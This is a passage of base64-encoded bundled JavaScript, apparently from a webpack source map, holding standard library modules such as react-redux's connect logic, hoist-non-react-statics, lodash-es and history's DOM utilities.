AgICAgIGlmICh0aGlzLnByb3BzTW9kZSAmJiB0aGlzLnN1YnNjcmlwdGlvbikgd2l0aEV4dHJhc1tzdWJzY3JpcHRpb25LZXldID0gdGhpcy5zdWJzY3JpcHRpb247XG4gICAgICAgIHJldHVybiB3aXRoRXh0cmFzO1xuICAgICAgfTtcblxuICAgICAgQ29ubmVjdC5wcm90b3R5cGUucmVuZGVyID0gZnVuY3Rpb24gcmVuZGVyKCkge1xuICAgICAgICB2YXIgc2VsZWN0b3IgPSB0aGlzLnNlbGVjdG9yO1xuICAgICAgICBzZWxlY3Rvci5zaG91bGRDb21wb25lbnRVcGRhdGUgPSBmYWxzZTtcblxuICAgICAgICBpZiAoc2VsZWN0b3IuZXJyb3IpIHtcbiAgICAgICAgICB0aHJvdyBzZWxlY3Rvci5lcnJvcjtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICByZXR1cm4gY3JlYXRlRWxlbWVudChXcmFwcGVkQ29tcG9uZW50LCB0aGlzLmFkZEV4dHJhUHJvcHMoc2VsZWN0b3IucHJvcHMpKTtcbiAgICAgICAgfVxuICAgICAgfTtcblxuICAgICAgcmV0dXJuIENvbm5lY3Q7XG4gICAgfShDb21wb25lbnQpO1xuXG4gICAgQ29ubmVjdC5XcmFwcGVkQ29tcG9uZW50ID0gV3JhcHBlZENvbXBvbmVudDtcbiAgICBDb25uZWN0LmRpc3BsYXlOYW1lID0gZGlzcGxheU5hbWU7XG4gICAgQ29ubmVjdC5jaGlsZENvbnRleHRUeXBlcyA9IGNoaWxkQ29udGV4dFR5cGVzO1xuICAgIENvbm5lY3QuY29udGV4dFR5cGVzID0gY29udGV4dFR5cGVzO1xuICAgIENvbm5lY3QucHJvcFR5cGVzID0gY29udGV4dFR5cGVzO1xuXG4gICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgIENvbm5lY3QucHJvdG90eXBlLmNvbXBvbmVudFdpbGxVcGRhdGUgPSBmdW5jdGlvbiBjb21wb25lbnRXaWxsVXBkYXRlKCkge1xuICAgICAgICB2YXIgX3RoaXMyID0gdGhpcztcblxuICAgICAgICAvLyBXZSBhcmUgaG90IHJlbG9hZGluZyFcbiAgICAgICAgaWYgKHRoaXMudmVyc2lvbiAhPT0gdmVyc2lvbikge1xuICAgICAgICAgIHRoaXMudmVyc2lvbiA9IHZlcnNpb247XG4gICAgICAgICAgdGhpcy5pbml0U2VsZWN0b3IoKTtcblxuICAgICAgICAgIC8vIElmIGFueSBjb25uZWN0ZWQgZGVzY2VuZGFudHMgZG9uJ3QgaG90IHJlbG9hZCAoYW5kIHJlc3Vic2NyaWJlIGluIHRoZSBwcm9jZXNzKSwgdGhlaXJcbiAgICAgICAgICAvLyBsaXN0ZW5lcnMgd2lsbCBiZSBsb3N0IHdoZW4gd2UgdW5zdWJzY3JpYmUuIFVuZm9ydHVuYXRlbHksIGJ5IGNvcHlpbmcgb3ZlciBhbGxcbiAgICAgICAgICAvLyBsaXN0ZW5lcnMsIHRoaXMgZG9lcyBtZWFuIHRoYXQgdGhlIG9sZCB2ZXJzaW9ucyBvZiBjb25uZWN0ZWQgZGVzY2VuZGFudHMgd2lsbCBzdGlsbCBiZVxuICAgICAgICAgIC8vIG5vdGlmaWVkIG9mIHN0YXRlIGNoYW5nZXM7IGhvd2V2ZXIsIHRoZWlyIG9uU3RhdGVDaGFuZ2UgZnVuY3Rpb24gaXMgYSBuby1vcCBzbyB0aGlzXG4gICAgICAgICAgLy8gaXNuJ3QgYSBodWdlIGRlYWwuXG4gICAgICAgICAgdmFyIG9sZExpc3RlbmVycyA9IFtdO1xuXG4gICAgICAgICAgaWYgKHRoaXMuc3Vic2NyaXB0aW9uKSB7XG4gICAgICAgICAgICBvbGRMaXN0ZW5lcnMgPSB0aGlzLnN1YnNjcmlwdGlvbi5saXN0ZW5lcnMuZ2V0KCk7XG4gICAgICAgICAgICB0aGlzLnN1YnNjcmlwdGlvbi50cnlVbnN1YnNjcmliZSgpO1xuICAgICAgICAgIH1cbiAgICAgICAgICB0aGlzLmluaXRTdWJzY3JpcHRpb24oKTtcbiAgICAgICAgICBpZiAoc2hvdWxkSGFuZGxlU3RhdGVDaGFuZ2VzKSB7XG4gICAgICAgICAgICB0aGlzLnN1YnNjcmlwdGlvbi50cnlTdWJzY3JpYmUoKTtcbiAgICAgICAgICAgIG9sZExpc3RlbmVycy5mb3JFYWNoKGZ1bmN0aW9uIChsaXN0ZW5lcikge1xuICAgICAgICAgICAgICByZXR1cm4gX3RoaXMyLnN1YnNjcmlwdGlvbi5saXN0ZW5lcnMuc3Vic2NyaWJlKGxpc3RlbmVyKTtcbiAgICAgICAgICAgIH0pO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfTtcbiAgICB9XG5cbiAgICByZXR1cm4gaG9pc3RTdGF0aWNzKENvbm5lY3QsIFdyYXBwZWRDb21wb25lbnQpO1xuICB9O1xufVxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2NvbXBvbmVudHMvY29ubmVjdEFkdmFuY2VkLmpzXG4vLyBtb2R1bGUgaWQgPSA2OVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxuLyoqXG4gKiBDb3B5cmlnaHQgMjAxNSwgWWFob28hIEluYy5cbiAqIENvcHlyaWdodHMgbGljZW5zZWQgdW5kZXIgdGhlIE5ldyBCU0QgTGljZW5zZS4gU2VlIHRoZSBhY2NvbXBhbnlpbmcgTElDRU5TRSBmaWxlIGZvciB0ZXJtcy5cbiAqL1xudmFyIFJFQUNUX1NUQVRJQ1MgPSB7XG4gICAgY2hpbGRDb250ZXh0VHlwZXM6IHRydWUsXG4gICAgY29udGV4dFR5cGVzOiB0cnVlLFxuICAgIGRlZmF1bHRQcm9wczogdHJ1ZSxcbiAgICBkaXNwbGF5TmFtZTogdHJ1ZSxcbiAgICBnZXREZWZhdWx0UHJvcHM6IHRydWUsXG4gICAgZ2V0RGVyaXZlZFN0YXRlRnJvbVByb3BzOiB0cnVlLFxuICAgIG1peGluczogdHJ1ZSxcbiAgICBwcm9wVHlwZXM6IHRydWUsXG4gICAgdHlwZTogdHJ1ZVxufTtcblxudmFyIEtOT1dOX1NUQVRJQ1MgPSB7XG4gICAgbmFtZTogdHJ1ZSxcbiAgICBsZW5ndGg6IHRydWUsXG4gICAgcHJvdG90eXBlOiB0cnVlLFxuICAgIGNhbGxlcjogdHJ1ZSxcbiAgICBjYWxsZWU6IHRydWUsXG4gICAgYXJndW1lbnRzOiB0cnVlLFxuICAgIGFyaXR5OiB0cnVlXG59O1xuXG52YXIgZGVmaW5lUHJvcGVydHkgPSBPYmplY3QuZGVmaW5lUHJvcGVydHk7XG52YXIgZ2V0T3duUHJvcGVydHlOYW1lcyA9IE9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzO1xudmFyIGdldE93blByb3BlcnR5U3ltYm9scyA9IE9iamVjdC5nZXRPd25Qcm9wZXJ0eVN5bWJvbHM7XG52YXIgZ2V0T3duUHJvcGVydHlEZXNjcmlwdG9yID0gT2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcjtcbnZhciBnZXRQcm90b3R5cGVPZiA9IE9iamVjdC5nZXRQcm90b3R5cGVPZjtcbnZhciBvYmplY3RQcm90b3R5cGUgPSBnZXRQcm90b3R5cGVPZiAmJiBnZXRQcm90b3R5cGVPZihPYmplY3QpO1xuXG5mdW5jdGlvbiBob2lzdE5vblJlYWN0U3RhdGljcyh0YXJnZXRDb21wb25lbnQsIHNvdXJjZUNvbXBvbmVudCwgYmxhY2tsaXN0KSB7XG4gICAgaWYgKHR5cGVvZiBzb3VyY2VDb21wb25lbnQgIT09ICdzdHJpbmcnKSB7IC8vIGRvbid0IGhvaXN0IG92ZXIgc3RyaW5nIChodG1sKSBjb21wb25lbnRzXG5cbiAgICAgICAgaWYgKG9iamVjdFByb3RvdHlwZSkge1xuICAgICAgICAgICAgdmFyIGluaGVyaXRlZENvbXBvbmVudCA9IGdldFByb3RvdHlwZU9mKHNvdXJjZUNvbXBvbmVudCk7XG4gICAgICAgICAgICBpZiAoaW5oZXJpdGVkQ29tcG9uZW50ICYmIGluaGVyaXRlZENvbXBvbmVudCAhPT0gb2JqZWN0UHJvdG90eXBlKSB7XG4gICAgICAgICAgICAgICAgaG9pc3ROb25SZWFjdFN0YXRpY3ModGFyZ2V0Q29tcG9uZW50LCBpbmhlcml0ZWRDb21wb25lbnQsIGJsYWNrbGlzdCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICB2YXIga2V5cyA9IGdldE93blByb3BlcnR5TmFtZXMoc291cmNlQ29tcG9uZW50KTtcblxuICAgICAgICBpZiAoZ2V0T3duUHJvcGVydHlTeW1ib2xzKSB7XG4gICAgICAgICAgICBrZXlzID0ga2V5cy5jb25jYXQoZ2V0T3duUHJvcGVydHlTeW1ib2xzKHNvdXJjZUNvbXBvbmVudCkpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBrZXlzLmxlbmd0aDsgKytpKSB7XG4gICAgICAgICAgICB2YXIga2V5ID0ga2V5c1tpXTtcbiAgICAgICAgICAgIGlmICghUkVBQ1RfU1RBVElDU1trZXldICYmICFLTk9XTl9TVEFUSUNTW2tleV0gJiYgKCFibGFja2xpc3QgfHwgIWJsYWNrbGlzdFtrZXldKSkge1xuICAgICAgICAgICAgICAgIHZhciBkZXNjcmlwdG9yID0gZ2V0T3duUHJvcGVydHlEZXNjcmlwdG9yKHNvdXJjZUNvbXBvbmVudCwga2V5KTtcbiAgICAgICAgICAgICAgICB0cnkgeyAvLyBBdm9pZCBmYWlsdXJlcyBmcm9tIHJlYWQtb25seSBwcm9wZXJ0aWVzXG4gICAgICAgICAgICAgICAgICAgIGRlZmluZVByb3BlcnR5KHRhcmdldENvbXBvbmVudCwga2V5LCBkZXNjcmlwdG9yKTtcbiAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7fVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG5cbiAgICAgICAgcmV0dXJuIHRhcmdldENvbXBvbmVudDtcbiAgICB9XG5cbiAgICByZXR1cm4gdGFyZ2V0Q29tcG9uZW50O1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IGhvaXN0Tm9uUmVhY3RTdGF0aWNzO1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaG9pc3Qtbm9uLXJlYWN0LXN0YXRpY3MvZGlzdC9ob2lzdC1ub24tcmVhY3Qtc3RhdGljcy5janMuanNcbi8vIG1vZHVsZSBpZCA9IDcwXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IHZlcmlmeVBsYWluT2JqZWN0IGZyb20gJy4uL3V0aWxzL3ZlcmlmeVBsYWluT2JqZWN0JztcblxuZXhwb3J0IGZ1bmN0aW9uIHdyYXBNYXBUb1Byb3BzQ29uc3RhbnQoZ2V0Q29uc3RhbnQpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uIGluaXRDb25zdGFudFNlbGVjdG9yKGRpc3BhdGNoLCBvcHRpb25zKSB7XG4gICAgdmFyIGNvbnN0YW50ID0gZ2V0Q29uc3RhbnQoZGlzcGF0Y2gsIG9wdGlvbnMpO1xuXG4gICAgZnVuY3Rpb24gY29uc3RhbnRTZWxlY3RvcigpIHtcbiAgICAgIHJldHVybiBjb25zdGFudDtcbiAgICB9XG4gICAgY29uc3RhbnRTZWxlY3Rvci5kZXBlbmRzT25Pd25Qcm9wcyA9IGZhbHNlO1xuICAgIHJldHVybiBjb25zdGFudFNlbGVjdG9yO1xuICB9O1xufVxuXG4vLyBkZXBlbmRzT25Pd25Qcm9wcyBpcyB1c2VkIGJ5IGNyZWF0ZU1hcFRvUHJvcHNQcm94eSB0byBkZXRlcm1pbmUgd2hldGhlciB0byBwYXNzIHByb3BzIGFzIGFyZ3Ncbi8vIHRvIHRoZSBtYXBUb1Byb3BzIGZ1bmN0aW9uIGJlaW5nIHdyYXBwZWQuIEl0IGlzIGFsc28gdXNlZCBieSBtYWtlUHVyZVByb3BzU2VsZWN0b3IgdG8gZGV0ZXJtaW5lXG4vLyB3aGV0aGVyIG1hcFRvUHJvcHMgbmVlZHMgdG8gYmUgaW52b2tlZCB3aGVuIHByb3BzIGhhdmUgY2hhbmdlZC5cbi8vIFxuLy8gQSBsZW5ndGggb2Ygb25lIHNpZ25hbHMgdGhhdCBtYXBUb1Byb3BzIGRvZXMgbm90IGRlcGVuZCBvbiBwcm9wcyBmcm9tIHRoZSBwYXJlbnQgY29tcG9uZW50LlxuLy8gQSBsZW5ndGggb2YgemVybyBpcyBhc3N1bWVkIHRvIG1lYW4gbWFwVG9Qcm9wcyBpcyBnZXR0aW5nIGFyZ3MgdmlhIGFyZ3VtZW50cyBvciAuLi5hcmdzIGFuZFxuLy8gdGhlcmVmb3JlIG5vdCByZXBvcnRpbmcgaXRzIGxlbmd0aCBhY2N1cmF0ZWx5Li5cbmV4cG9ydCBmdW5jdGlvbiBnZXREZXBlbmRzT25Pd25Qcm9wcyhtYXBUb1Byb3BzKSB7XG4gIHJldHVybiBtYXBUb1Byb3BzLmRlcGVuZHNPbk93blByb3BzICE9PSBudWxsICYmIG1hcFRvUHJvcHMuZGVwZW5kc09uT3duUHJvcHMgIT09IHVuZGVmaW5lZCA/IEJvb2xlYW4obWFwVG9Qcm9wcy5kZXBlbmRzT25Pd25Qcm9wcykgOiBtYXBUb1Byb3BzLmxlbmd0aCAhPT0gMTtcbn1cblxuLy8gVXNlZCBieSB3aGVuTWFwU3RhdGVUb1Byb3BzSXNGdW5jdGlvbiBhbmQgd2hlbk1hcERpc3BhdGNoVG9Qcm9wc0lzRnVuY3Rpb24sXG4vLyB0aGlzIGZ1bmN0aW9uIHdyYXBzIG1hcFRvUHJvcHMgaW4gYSBwcm94eSBmdW5jdGlvbiB3aGljaCBkb2VzIHNldmVyYWwgdGhpbmdzOlxuLy8gXG4vLyAgKiBEZXRlY3RzIHdoZXRoZXIgdGhlIG1hcFRvUHJvcHMgZnVuY3Rpb24gYmVpbmcgY2FsbGVkIGRlcGVuZHMgb24gcHJvcHMsIHdoaWNoXG4vLyAgICBpcyB1c2VkIGJ5IHNlbGVjdG9yRmFjdG9yeSB0byBkZWNpZGUgaWYgaXQgc2hvdWxkIHJlaW52b2tlIG9uIHByb3BzIGNoYW5nZXMuXG4vLyAgICBcbi8vICAqIE9uIGZpcnN0IGNhbGwsIGhhbmRsZXMgbWFwVG9Qcm9wcyBpZiByZXR1cm5zIGFub3RoZXIgZnVuY3Rpb24sIGFuZCB0cmVhdHMgdGhhdFxuLy8gICAgbmV3IGZ1bmN0aW9uIGFzIHRoZSB0cnVlIG1hcFRvUHJvcHMgZm9yIHN1YnNlcXVlbnQgY2FsbHMuXG4vLyAgICBcbi8vICAqIE9uIGZpcnN0IGNhbGwsIHZlcmlmaWVzIHRoZSBmaXJzdCByZXN1bHQgaXMgYSBwbGFpbiBvYmplY3QsIGluIG9yZGVyIHRvIHdhcm5cbi8vICAgIHRoZSBkZXZlbG9wZXIgdGhhdCB0aGVpciBtYXBUb1Byb3BzIGZ1bmN0aW9uIGlzIG5vdCByZXR1cm5pbmcgYSB2YWxpZCByZXN1bHQuXG4vLyAgICBcbmV4cG9ydCBmdW5jdGlvbiB3cmFwTWFwVG9Qcm9wc0Z1bmMobWFwVG9Qcm9wcywgbWV0aG9kTmFtZSkge1xuICByZXR1cm4gZnVuY3Rpb24gaW5pdFByb3h5U2VsZWN0b3IoZGlzcGF0Y2gsIF9yZWYpIHtcbiAgICB2YXIgZGlzcGxheU5hbWUgPSBfcmVmLmRpc3BsYXlOYW1lO1xuXG4gICAgdmFyIHByb3h5ID0gZnVuY3Rpb24gbWFwVG9Qcm9wc1Byb3h5KHN0YXRlT3JEaXNwYXRjaCwgb3duUHJvcHMpIHtcbiAgICAgIHJldHVybiBwcm94eS5kZXBlbmRzT25Pd25Qcm9wcyA/IHByb3h5Lm1hcFRvUHJvcHMoc3RhdGVPckRpc3BhdGNoLCBvd25Qcm9wcykgOiBwcm94eS5tYXBUb1Byb3BzKHN0YXRlT3JEaXNwYXRjaCk7XG4gICAgfTtcblxuICAgIC8vIGFsbG93IGRldGVjdEZhY3RvcnlBbmRWZXJpZnkgdG8gZ2V0IG93blByb3BzXG4gICAgcHJveHkuZGVwZW5kc09uT3duUHJvcHMgPSB0cnVlO1xuXG4gICAgcHJveHkubWFwVG9Qcm9wcyA9IGZ1bmN0aW9uIGRldGVjdEZhY3RvcnlBbmRWZXJpZnkoc3RhdGVPckRpc3BhdGNoLCBvd25Qcm9wcykge1xuICAgICAgcHJveHkubWFwVG9Qcm9wcyA9IG1hcFRvUHJvcHM7XG4gICAgICBwcm94eS5kZXBlbmRzT25Pd25Qcm9wcyA9IGdldERlcGVuZHNPbk93blByb3BzKG1hcFRvUHJvcHMpO1xuICAgICAgdmFyIHByb3BzID0gcHJveHkoc3RhdGVPckRpc3BhdGNoLCBvd25Qcm9wcyk7XG5cbiAgICAgIGlmICh0eXBlb2YgcHJvcHMgPT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgcHJveHkubWFwVG9Qcm9wcyA9IHByb3BzO1xuICAgICAgICBwcm94eS5kZXBlbmRzT25Pd25Qcm9wcyA9IGdldERlcGVuZHNPbk93blByb3BzKHByb3BzKTtcbiAgICAgICAgcHJvcHMgPSBwcm94eShzdGF0ZU9yRGlzcGF0Y2gsIG93blByb3BzKTtcbiAgICAgIH1cblxuICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHZlcmlmeVBsYWluT2JqZWN0KHByb3BzLCBkaXNwbGF5TmFtZSwgbWV0aG9kTmFtZSk7XG5cbiAgICAgIHJldHVybiBwcm9wcztcbiAgICB9O1xuXG4gICAgcmV0dXJuIHByb3h5O1xuICB9O1xufVxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2Nvbm5lY3Qvd3JhcE1hcFRvUHJvcHMuanNcbi8vIG1vZHVsZSBpZCA9IDcxXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IGlzUGxhaW5PYmplY3QgZnJvbSAnbG9kYXNoLWVzL2lzUGxhaW5PYmplY3QnO1xuaW1wb3J0IHdhcm5pbmcgZnJvbSAnLi93YXJuaW5nJztcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdmVyaWZ5UGxhaW5PYmplY3QodmFsdWUsIGRpc3BsYXlOYW1lLCBtZXRob2ROYW1lKSB7XG4gIGlmICghaXNQbGFpbk9iamVjdCh2YWx1ZSkpIHtcbiAgICB3YXJuaW5nKG1ldGhvZE5hbWUgKyAnKCkgaW4gJyArIGRpc3BsYXlOYW1lICsgJyBtdXN0IHJldHVybiBhIHBsYWluIG9iamVjdC4gSW5zdGVhZCByZWNlaXZlZCAnICsgdmFsdWUgKyAnLicpO1xuICB9XG59XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3QtcmVkdXgvZXMvdXRpbHMvdmVyaWZ5UGxhaW5PYmplY3QuanNcbi8vIG1vZHVsZSBpZCA9IDcyXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IHJvb3QgZnJvbSAnLi9fcm9vdC5qcyc7XG5cbi8qKiBCdWlsdC1pbiB2YWx1ZSByZWZlcmVuY2VzLiAqL1xudmFyIFN5bWJvbCA9IHJvb3QuU3ltYm9sO1xuXG5leHBvcnQgZGVmYXVsdCBTeW1ib2w7XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9sb2Rhc2gtZXMvX1N5bWJvbC5qc1xuLy8gbW9kdWxlIGlkID0gNzNcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJleHBvcnQgdmFyIGNhblVzZURPTSA9ICEhKHR5cGVvZiB3aW5kb3cgIT09ICd1bmRlZmluZWQnICYmIHdpbmRvdy5kb2N1bWVudCAmJiB3aW5kb3cuZG9jdW1lbnQuY3JlYXRlRWxlbWVudCk7XG5cbmV4cG9ydCB2YXIgYWRkRXZlbnRMaXN0ZW5lciA9IGZ1bmN0aW9uIGFkZEV2ZW50TGlzdGVuZXIobm9kZSwgZXZlbnQsIGxpc3RlbmVyKSB7XG4gIHJldHVybiBub2RlLmFkZEV2ZW50TGlzdGVuZXIgPyBub2RlLmFkZEV2ZW50TGlzdGVuZXIoZXZlbnQsIGxpc3RlbmVyLCBmYWxzZSkgOiBub2RlLmF0dGFjaEV2ZW50KCdvbicgKyBldmVudCwgbGlzdGVuZXIpO1xufTtcblxuZXhwb3J0IHZhciByZW1vdmVFdmVudExpc3RlbmVyID0gZnVuY3Rpb24gcmVtb3ZlRXZlbnRMaXN0ZW5lcihub2RlLCBldmVudCwgbGlzdGVuZXIpIHtcbiAgcmV0dXJuIG5vZGUucmVtb3ZlRXZlbnRMaXN0ZW5lciA/IG5vZGUucmVtb3ZlRXZlbnRMaXN0ZW5lcihldmVudCwgbGlzdGVuZXIsIGZhbHNlKSA6IG5vZGUuZGV0YWNoRXZlbnQoJ29uJyArIGV2ZW50LCBsaXN0ZW5lcik7XG59O1xuXG5leHBvcnQgdmFyIGdldENvbmZpcm1hdGlvbiA9IGZ1bmN0aW9uIGdldENvbmZpcm1hdGlvbihtZXNzYWdlLCBjYWxsYmFjaykge1xuICByZXR1cm4gY2FsbGJhY2sod2luZG93LmNvbmZpcm0obWVzc2FnZSkpO1xufTsgLy8gZXNsaW50LWRpc2FibGUtbGluZSBuby1hbGVydFxuXG4vKipcbiAqIFJldHVybnMgdHJ1ZSBpZiB0aGUgSFRNTDUgaGlzdG9yeSBBUEkgaXMgc3VwcG9ydGVkLiBUYWtlbiBmcm9tIE1vZGVybml6ci5cbiAqXG4gKiBodHRwczovL2dpdGh1Yi5jb20vTW9kZXJuaXpyL01vZGVybml6ci9ibG9iL21hc3Rlci9MSUNFTlNFXG4gKiBodHRwczovL2dpdGh1Yi5jb20vTW9kZXJuaXpyL01vZGVybml6ci9ibG9iL21hc3Rlci9mZWF0dXJlLWRldGVjdHMvaGlzdG9yeS5qc1xuICogY2hhbmdlZCB0byBhdm9pZCBmYWxzZSBuZWdhdGl2ZXMgZm9yIFdpbmRvd3MgUGhvbmVzOiBodHRwczovL2dpdGh1Yi5jb20vcmVhY3Rqcy9yZWFjdC1yb3V0ZXIvaXNzdWVzLzU4NlxuICovXG5leHBvcnQgdmFyIHN1cHBvcnRzSGlzdG9yeSA9IGZ1bmN0aW9uIHN1cHBvcnRzSGlzdG9yeSgpIHtcbiAgdmFyIHVhID0gd2luZG93Lm5hdmlnYXRvci51c2VyQWdlbnQ7XG5cbiAgaWYgKCh1YS5pbmRleE9mKCdBbmRyb2lkIDIuJykgIT09IC0xIHx8IHVhLmluZGV4T2YoJ0FuZHJvaWQgNC4wJykgIT09IC0xKSAmJiB1YS5pbmRleE9mKCdNb2JpbGUgU2FmYXJpJykgIT09IC0xICYmIHVhLmluZGV4T2YoJ0Nocm9tZScpID09PSAtMSAmJiB1YS5pbmRleE9mKCdXaW5kb3dzIFBob25lJykgPT09IC0xKSByZXR1cm4gZmFsc2U7XG5cbiAgcmV0dXJuIHdpbmRvdy5oaXN0b3J5ICYmICdwdXNoU3RhdGUnIGluIHdpbmRvdy5oaXN0b3J5O1xufTtcblxuLyoqXG4gKiBSZXR1cm5zIHRydWUgaWYgYnJvd3NlciBmaXJlcyBwb3BzdGF0ZSBvbiBoYXNoIGNoYW5nZS5cbiAqIElFMTAgYW5kIElFMTEgZG8gbm90LlxuICovXG5leHBvcnQgdmFyIHN1cHBvcnRzUG9wU3RhdGVPbkhhc2hDaGFuZ2UgPSBmdW5jdGlvbiBzdXBwb3J0c1BvcFN0YXRlT25IYXNoQ2hhbmdlKCkge1xuICByZXR1cm4gd2luZG93Lm5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZignVHJpZGVudCcpID09PSAtMTtcbn07XG5cbi8qKlxuICogUmV0dXJucyBmYWxzZSBpZiB1c2luZyBnbyhuKSB3aXRoIGhhc2ggaGlzdG9yeSBjYXVzZXMgYSBmdWxsIHBhZ2UgcmVsb2FkLlxuICovXG5leHBvcnQgdmFyIHN1cHBvcnRzR29XaXRob3V0UmVsb2FkVXNpbmdIYXNoID0gZnVuY3Rpb24gc3VwcG9ydHNHb1dpdGhvdXRSZWxvYWRVc2luZ0hhc2goKSB7XG4gIHJldHVybiB3aW5kb3cubmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCdGaXJlZm94JykgPT09IC0xO1xufTtcblxuLyoqXG4gKiBSZXR1cm5zIHRydWUgaWYgYSBnaXZlbiBwb3BzdGF0ZSBldmVudCBpcyBhbiBleHRyYW5lb3VzIFdlYktpdCBldmVudC5cbiAqIEFjY291bnRzIGZvciB0aGUgZmFjdCB0aGF0IENocm9tZSBvbiBpT1MgZmlyZXMgcmVhbCBwb3BzdGF0ZSBldmVudHNcbiAqIGNvbnRhaW5pbmcgdW5kZWZpbmVkIHN0YXRlIHdoZW4gcHJlc3NpbmcgdGhlIGJhY2sgYnV0dG9uLlxuICovXG5leHBvcnQgdmFyIGlzRXh0cmFuZW91c1BvcHN0YXRlRXZlbnQgPSBmdW5jdGlvbiBpc0V4dHJhbmVvdXNQb3BzdGF0ZUV2ZW50KGV2ZW50KSB7XG4gIHJldHVybiBldmVudC5zdGF0ZSA9PT0gdW5kZWZpbmVkICYmIG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZignQ3JpT1MnKSA9PT0gLTE7XG59O1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2hpc3RvcnkvZXMvRE9NVXRpbHMuanNcbi8vIG1vZHVsZSBpZCA9IDc0XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwidmFyIF9leHRlbmRzID0gT2JqZWN0LmFzc2lnbiB8fCBmdW5jdGlvbiAodGFyZ2V0KSB7IGZvciAodmFyIGkgPSAxOyBpIDwgYXJndW1lbnRzLmxlbmd0aDsgaSsrKSB7IHZhciBzb3VyY2UgPSBhcmd1bWVudHNbaV07IGZvciAodmFyIGtleSBpbiBzb3VyY2UpIHsgaWYgKE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChzb3VyY2UsIGtleSkpIHsgdGFyZ2V0W2tleV0gPSBzb3VyY2Vba2V5XTsgfSB9IH0gcmV0dXJuIHRhcmdldDsgfTtcblxuZnVuY3Rpb24gX29iamVjdFdpdGhvdXRQcm9wZXJ0aWVzKG9iaiwga2V5cykgeyB2YXIgdGFyZ2V0ID0ge307IGZvciAodmFyIGkgaW4gb2JqKSB7IGlmIChrZXlzLmluZGV4T2YoaSkgPj0gMCkgY29udGludWU7IGlmICghT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKG9iaiwgaSkpIGNvbnRpbnVlOyB0YXJnZXRbaV0gPSBvYmpbaV07IH0gcmV0dXJuIHRhcmdldDsgfVxuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXB